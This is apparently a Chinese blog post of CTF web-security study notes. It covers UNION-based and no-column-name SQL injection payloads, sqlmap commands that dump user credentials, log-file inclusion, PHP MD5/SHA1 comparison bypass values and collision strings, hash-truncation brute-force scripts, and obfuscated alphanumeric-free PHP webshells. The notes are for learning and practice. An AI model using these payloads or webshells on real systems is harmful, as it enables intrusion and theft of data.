Skip to content

Web基础知识

Web基本知识

JSON

JSON的值:
1.JSON的构成: ws 值
2.值可以是对象、数组、数字、字符串或者三个字面值(false、null、true)中的一个。值中的字面值中的英文必须使用小写。
3.对象由花括号括起来的逗号分割的成员构成,成员是字符串键和上文所述的值由逗号分割的键值对组成,如:

1
{"name": "John Doe", "age": 18, "address": {"country" : "china", "zip-code": "10000"}}

引用JSON中的对象可以包含多个键值对,并且有数组结构,该语言正是一次实现过程内容的描述。
数组是由方括号括起来的一组值构成,如:
[3, 1, 4, 1, 5, 9, 2, 6]
3字符串与C或者Java的字符串非常相似。字符串是由双引号包围的任意数量Unicode字符的集合,使用反斜线转义。一个字符(character)即一个单独的字符串(character string)。
数字也与C或者Java的数值非常相似。除去未曾使用的八进制与十六进制格式。除去一些编码细节。

MD5加密

MD5是一种哈希函数,它将任意长度的信息压缩成128位长度的信息,通常使用32个十六进制数表示。

1
2
3
4
5
<?php
$str = "Hello, World!";
$md5Hash = md5($str);
echo $md5Hash; // 输出MD5加密后的字符串
?>

–和#在SQL中的区别

在SQL中, – 和 # 都⽤作单⾏注释,但它们的使⽤环境和数据库系统兼容性有些不同。

  1. -:这是SQL标准的单⾏注释符号。⼤多数SQL数据库,包括SQL Server、PostgreSQL和MySQL,都⽀持
    使⽤ - 进⾏单⾏注释。通常, - 后⾯需要跟⼀个空格。
1
SELECT * FROM table -- 这是⼀个注释

2.# MySQL特有的单行注释符号。不是SQL标准的一部分。

1
SELECT * FROM table # 这也是⼀个注释,但仅在MySQL中有效

+号作用

由于空格通常会被去掉或需要编码(通常为 %20 或 + ),所以直接使⽤⼀个空格可能会导致
SQL语法错误。

添加”+“确保注释 – 后⾯有⼀个空格,这样数据库就能正确解析这个SQL注释。

sql注入中的union select

https://blog.csdn.net/qq_44159028/article/details/114820256

UNION

1
2
3
SELECT 列名 FROM 表名
UNION
SELECT 列名_1 FROM 表名_1;

注意使用UNION的时候要注意两个表的数量必须相同

union select

用来合并两个或多个 SELECT 语句的结果集

union select 只能查询两个表中共同都有的字段,如果一个字段在另外一个表中没有,就会报错

select 1,2,3…

select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的属性名和值都是我们输入的数组,.select 之后可以接一串数字:1,2,3…只是一个例子,这串数字并不一定要按从小到大排列,不一定从1开始,这串数字的值和顺序是任意的,甚至可以是重复的,如:11,465,7461,35 或11,11,11,11,数字串的长度也是任意的,我们想获得多少列的数据,就写多少个数字

img

select 加数字串并加上数据库表的名字

users2如下

img

进行查询,select 1,22,34,45,65 from users2

img

users2表有四个字段,可以看出行行代表 表格的字段(id,name,age,address)。原来的id,name等属性被替换成了这些数字串,而且我们输入的数字串长度是任意的,输入几个数字,就会出现几个属性,也就是说返回表的列数是等于我们输入的数字个数的,而行数与原数据库表的结构保持一致,原本有4行数据,输入数字串后仍为4行。

简单的sql注入

-1‘ union select 1,2,3#

获取所有表结构(TABLES)

SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=’数据库名’;

LIMIT

#返回表中前number行数据

SELECT column1, column2, … FROM table_name LIMIT number; #从offset+1行开始返回row_count行数据

#从offset+1行开始返回row_count行数据

SELECT column1, column2, … FROM table_name LIMIT offset, row_count;
#比如 LIMIT 10, 10 返回11-20行数据

SQL注入通过是否报错信息判断注入类型

输入 后台执行 后台报错 解释
1" id = "1"" near '"1""' at line 1 去掉外层 SQL 的单引号,留下"1"",除去自己的输入 1"可知类型为 双引号 的 字符型注入
1' id = '1'' near ''1''' at line 1 同理,留下'1''除去自己的输入 1'可知类型为 单引号 的 字符型注入
'1 id = ''1' near '1'' at line 1 对于后台 SQL,由于 id = ''已经合法闭合,所以后面 1'反而为多出的语句,所以报错点在 1'

第一个当内容为’”1””‘时,先去掉两边单引号得到”1”‘’,可知出错内容为”1’’”

第三个报错内容为’1’’时候,说明出错内容为1’,前面已经闭合,因此报错内容在1’由此可以推断为单引号型注入

SQL注入常见流程

1
2
3
id = 1 Order by 1;
id = 1 Order by 2;
id = 1 Order by 3; # 报错 确定列数为 2

使用联合查询 union 基于 information_schema 拿到数据库名

1
2
3
4
5
6
union SELECT 1,schema_name FROM information_schema.schemata;
# or
1 union SELECT schema_name,2 FROM information_schema.schemata;
# 注意这里的 schema_name 一定要放在会显示的列名上面 比如password不显示 但是username显示 那么就用第二种。
# 此时后台执行为:
SELECT username,password FROM users WHERE id = 1 union SELECT 1,schema_name FROM information_schema.schemata;

判断那个是否显示只需要尝试注入几次就可以了

用联合查询得到数据库里面的表名

1
2
3
4
5
6
 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
# 原理同上
# 如果要查询其他数据库 可以写为 where table_schema='databaseNAME'
# 后台执行为:
SELECT username,password FROM users WHERE id = 1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()

SQL注入知识

information_schema.schemata:记录所有数据库名的表 在schemata表中,schema_name字段用来存储数据库名

information_schema.tables:记录所有表名信息的表在table表中,table_schema和table_name分别用来存储数据库名和表名

information_schema.columns:记录所有列名信息的表 table_schema(数据库名),table_name(表名),column_name(字段名)

table_name:表名

column_name:列名

table_schema:数据库名

database_name: mysql.innodb_table_stats中的数据库名

跨库选择表:需要在表前添加该表的数据库名称,否则会默认为当前库的表。

ex: select * from 数据库名.表名

SQL无列名注入

当information_schema被滤过时,可以利用表mysql.innodb_table_stats、mysql.innodb_table_index,同样具有库名表名,但不具有列名。

在这里插入图片描述

无列名查询:

无列名注入,因为不知道列名,所以将列名用select 1,2,3… union select * from 数据表的方式将列名更换为1,2,3..

如:

id=0'union select 1,2,group_concat('1') from (select 1 union select *from ctftraining.flag)a where 1='1

*这里(select 1 union select from ctftraining.flag)a 相当于是将通过select union select操作更换过列名的表命名为a,从使得前面的union select可以用数字’1’来查列名下的内容,

当’’被禁用时,可以用as的方式,为列名命名另一个名称来进行无列名查询

id=0'union select 1,2,group_concat(b) from (select 1 as b union select *from ctftraining.flag)a where 1='1

列名获取:

通过使用join和using,在使用join来拼接表时,有一个语法错误为两张表中的列名重复,因此可以显示该语法错误来找到该表的列名(如果两张表为同一张表需要给两张表以及拼接后的表都起一个别名)

1
select * from (select * from tableName as a join tableName as b) as c;
1
select * from (select * from tableName as a join tableName as b using(colunmName) ) as c;//使用using避免重复列

img

img

SQLmap

vim sql.http 把bp抓到的请求写进去并:wq保存

sqlmap -r ./sql.http -p id -dbs --batch

sqlmap -r ./sql.http -p id --current-db --batch

sqlmap -r ./sql.http -p id -D pikachu -tables --batch

sqlmap -r ./sql.http -p id -D pikachu -T users --columns --batch

sqlmap -r ./sql..http -p id -D pikachu -T users -C username,password -dump --batch

字符型:

sqlmap -u 'url' -p name -bs --batch

HTTP 请求头中的 Remote_Addr, X-Forwarded-For, X-Real-IP

Remote_Addr
Remote_Addr 是一个标准 HTTP 请求头,用于标识发起请求的客户端的 IP 地址。这个头部字段通常由 Web 服务器用来记录或日志记录客户端的 IP 地址。然而,由于大多数 Web 请求都经过了代理服务器或负载均衡器,Remote_Addr 头部字段通常包含的是代理服务器的 IP 地址,而不是原始客户端的 IP 地址。

X-Forwarded-For
X-Forwarded-For 是一个常用的 HTTP 请求头,用于揭示请求在经过代理服务器时的来源 IP 地址。当一个请求经过一个或多个代理服务器时,每个代理服务器都会在 X-Forwarded-For 头部字段中添加其自己的 IP 地址。这样,最终的 Web 服务器可以从 X-Forwarded-For 头部字段中获取完整的客户端 IP 地址列表。

X-Real-IP
X-Real-IP 是另一个用于标识客户端真实 IP 地址的 HTTP 请求头。与 X-Forwarded-For 不同,X-Real-IP 是由最后一个代理服务器设置的,用于揭示未经任何代理服务器转发的原始客户端 IP 地址。

日志文件包含

一般位于:

apache:/var/log/apache/access.log

nginx:/var/log/nginx/access.log

通过修改User-Agent: 执行命令 如

md5绕过 sha1绕过

1.0e绕过弱比较

1
2
3
4
5
<?php
if ($_GET['name'] != $_GET['password'] &&
MD5($_GET['name']) == MD5($_GET['password'])){
echo "flag";
}

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。

  • 以下值在md5加密后以0E开头:
    • QNKCDZO
    • 240610708
    • s878926199a
    • s155964671a
    • s214587387a
    • s214587387a

以下值在sha1加密后以0E开头:

  • aaroZmOk
  • aaK1STfY
  • aaO8zKZF
  • aa3OFF9m
  • 0e1290633704
  • 10932435112

双重MD5加密后0E开头:

  • 7r4lGXCH2Ksu2JNT3BYM
  • CbDLytmyGm2xQyaLNhWn
  • 770hQgrBOjrcqftrlaZk

数组绕过:

MD5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

md5碰撞

1
2
3
4
5
6
<?php
show_source(__FILE__);
if((string)$_POST['a']!==(string)$_POST['b'] &&
md5($_POST['a'])===md5($_POST['b'])){
echo "flag";
}

由于数组在string后都为array,所以要求传入两个MD5相同的不同字符串且不能是数组,所以通过MD5碰撞实现。

1
2
3
4
5
6
7
8
9
#1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
#2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%
#3
$a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$b="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";

linux使用md5collgen碰撞生成两个md5值相同但内容不同的文件

1
md5collgen -o 1.bin 2.bin

windows可以下载fastcoll,碰撞生成两个md5值相同但内容不同的文件

1
fastcoll.exe -p 123.txt -o 1.txt 2.txt

特殊值:0e215962017 在md5后仍以0e开头

NaN和INF

NAN和INF,分别为非数字和无穷大,但是var_dump一下它们的数据类型却是double,那么在md5函数处理它们的时候,是将其直接转换为字符串”NAN”和字符串”INF”使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN=NAN都是false,但md5(‘NaN’)=md5(‘NaN’)为true。

截断比较

1
substr(md5(?),0,5)==='8ffb1'

md5截断爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef

def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()


keymd5 = '8ffb1' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 5

def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[0:5] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break


list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()

sha256截断爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# sha256截断数值已知 求原始数据
# 例子 substr(sha256(captcha), 0, 6)=60b7ef

def sha256(s): # 计算sha256字符串
return hashlib.sha256(('TQLCTF'+str(s)).encode('utf-8')).hexdigest()


keysha256 = '5625f' #已知的sha256截断值
sha256start = 0 # 设置题目已知的截断位置
sha256length = 5

def findsha256(sss): # 输入范围 里面会进行sha256测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(sha256(i)[sha256start:sha256length])
if sha256(i)[0:5] == keysha256: # 拿到加密字符串
result = i
print(result) # 打印
break


list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findsha256, list) # 函数 与参数列表
pool.close()
pool.join()

RCE 不包含数字和字母的webshell

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

方法一:通过字符串执行异或得到字符串

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;//关于这里的$$__,为php中的特性可变变量,因此$$__表示$_POST
$_($___[_]); // assert($_POST[_]);

方法二:取反

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

这串代码的思想是先利用php的弱类型特性 true+true 等价于1+1=2,得到1和2的值,然后再通过{}索引的方式去取中文字符UTF-8编码的值并反转得到想要的字符串然后拼接。

方法三:自增操作

PHP沿袭了Perl的习惯,在$a=’Z’时,将$a变成’AA’,'a'++ => 'b','b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

获取字符串’a’,在PHP中,强制连接数组和字符串,数组将被转换成字符串,其值为’Array’

About this Post

This post is written by Linly, licensed under CC BY-NC 4.0.